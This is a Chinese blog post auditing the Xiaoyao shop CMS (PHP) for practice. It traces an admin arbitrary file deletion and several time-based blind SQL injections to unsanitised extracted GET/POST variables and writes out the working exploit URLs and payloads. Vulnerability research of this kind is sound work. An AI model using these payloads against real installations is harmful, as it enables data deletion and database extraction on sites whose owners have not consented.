逍遥商城系统审计

起因

最近一直在学习代码审计,本人php代码功底相对较弱,所以先从简单的审计入手,在cnvd上看到这套cms,三处注入,一处任意文件删除,小众cms,个人开发,就当练手。

环境

php 5.6.40
mysql 5.7.26
IDE PHPSTROM + Xdebug
pythonmysql监控

大致分析

目录结构:
v1.1full
├── admin ---后台管理目录
├── api.php ---api入口文件
├── attachment ---图片等文件存放目录
├── cache ---缓存文件目录
├── common.php
├── config.php ---配置文件
├── data ---备份文件等目录
├── hook ---hook文件
├── httpd.ini
├── index.php ---主页入口
├── install ---安装文件
├── module --主页模块文件
├── public --公共资源
├── template ---前端文件
├── user.php --user模块入口
mvc模式,多入口,每个大模块分一个入口。
url模式:url模式:?mod(模块名)=xx&act(方法名)=xx&id(参数)=/或者:index.php/模块名/方法名/参数
缓存类:将文件序列化存与对应的缓存类中,index模块初始化时,直接调用,缓存类直接返回反序列化后的对象。

1.后台任意文件删除。

admin/module/db.php:85

php:
    case 'del':
        //pe_error('演示站未开启删除权限');
        pe_token_match();
        pe_dirdel("{$pe['path_root']}data/dbbackup/{$_g_dbname}");
        pe_success('删除完成!');
    break;
    //####################// 数据备份恢复 //####################//
    default:
        $backup_list = (array)pe_dirlist("{$pe['path_root']}data/dbbackup/*");
        rsort($backup_list);
        $seo = pe_seo($menutitle='数据备份', '', '', 'admin');
        include(pe_tpl('db_list.html','admin'));
    break;

pe_dirdel函数为文件删除函数。
public/function/global.func.php:294

function pe_dirdel($dir_path)
{
    if (is_file($dir_path)) {
        unlink($dir_path);
    }
    else {
        $dir_arr = glob(trim($dir_path).'/*');
        if (is_array($dir_arr)) {
            foreach ($dir_arr as $k => $v) {
                pe_dirdel($v, $type);
            }   
        }
        @rmdir($dir_path);
    }
}

{pe['path_root']},这里是获取当前cms安装的物理路径,然后将其与data/dbbackup/_G_dbname进行拼接,即可得到删除文件路径,然后带入到pe_dirdel函数中,而这个函数并没有做其他判断,只判断是不是一个文件,并且我们可以看到并没有对$_G_dbname进行处理,那么我们只要知道这个参数从哪传来的就行了,如果可控的话,就能达到任意文件删除的目的。
在common.php:60

if (get_magic_quotes_gpc()) {
    !empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
    !empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
    !empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
    !empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}

先通过magic_quotes_gpc函数进行用户传入数据进行处理,将 ' " 等加转译符号,然后在将get传来的参数加上_g的开头,post则加上_p,那么思路很清晰了,只要我们get方式传入一个名为dbname的变量即可,其值就是我们想删除文件的地址。pe_token在后台页面查看源代码即可得到。
payload:

host/admin/webadmin.php?mod=db&act=del&dbname=删除文件地址&token=a1d6a63a9cd67d43a0b445af107eea65
image.png

后台盲注(product.php:78)

直接看代码吧

    case 'state':
        pe_token_match();
        $product_id = is_array($_p_product_id) ? $_p_product_id : $_g_id;
        if ($db->pe_update('product', array('product_id'=>$product_id), array('product_state'=>$_g_state))) {
            pe_success("操作成功!");
        }
        else {
            pe_error("操作失败...");
        }

这段代码是用改变商品状态的act=state,先判断token,然后得到product_id,由上面可以知道该id可以从post传入也可以从get传入,然后就直接丢到pe_update,跟进pe_update
到public/class/db.class.php:226

public function pe_update($table, $where, $set)
    {
        //处理设置语句
        $sqlset = $this->_doset($set);
        //处理条件语句
        $sqlwhere = $this->_dowhere($where);
        return $this->sql_update("update `".dbpre."{$table}` {$sqlset} {$sqlwhere}");   
    }

进入_doset方法,处理public/class/db.class.php:285

protected function _doset($set)
    {
        //仅针对insert插入多条数据
        if (is_array($set) && count($set, 1) > count($set)) {           
            foreach ($set as $set_one) {
                $key_arr = $val_arr = array();
                foreach ($set_one as $k => $v) {
                    $key_arr[] = str_ireplace('`', '', $k);
                    $val_arr[] = "'{$v}'";
                }
                $val_str[] = "(" . implode($val_arr, ', ') . ")";
            }
            $key_str = "(" . implode($key_arr, ', ') . ")";
            $sqlset = "{$key_str}  values ".implode($val_str, ', ');
        }
        elseif (is_array($set) && count($set, 1) == count($set)) {  
            foreach ($set as $k => $v) {
                $k = str_ireplace('`', '', $k);
                $set_arr[] = "`{$k}` = '{$v}'";
            }
            $sqlset = 'set '.implode($set_arr, ' , ');
        }
        else {
            $sqlset = "set {$set}";
        }
        return $sqlset;
    }

可以看到,这里并没有对数据进行处理,只是用str_ireplace函数将'`'替换为空,并没有对单引号等进行处理,然后就进行了拼接,返回了sql语句,很明显的注入,但是这里并没有将sql语句错误爆出来,所以只能通过页面返回信息进行注入,且product_id与product_state均可进行注入。
payload:

product_id处:
product_id%5B%5D=8')and if((ASCII(mid(user(),0,1)=114)),sleep(5),1)#('
product_state处:
/admin/webadmin.php?mod=product&act=state&state=2'%20and%20if((ASCII(mid(user(),0,1)=114)),sleep(5),1)%23('&token=a1d6a63a9cd67d43a0b445af107eea65
image.png

这个模块下还有好几个方法都可以注入,不再一一累赘。

article.php(delet,updata注入)

由于他们都调用了同一个sql操作类库,造成注入的原因大致一样,直接将闭合单引号即可进行注入,不再解释过多,贴张图吧。


image.png

后续

其实还有很多处注入,就不一一写出来了,都是由于对用户传入参数过滤不当造成的,暂时只审计到了后台的注入,明天在看看能不能找前台注入或者getshell的条件吧。
文笔轻浮,如有不对,请大佬们斧正。
晚安😴。

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。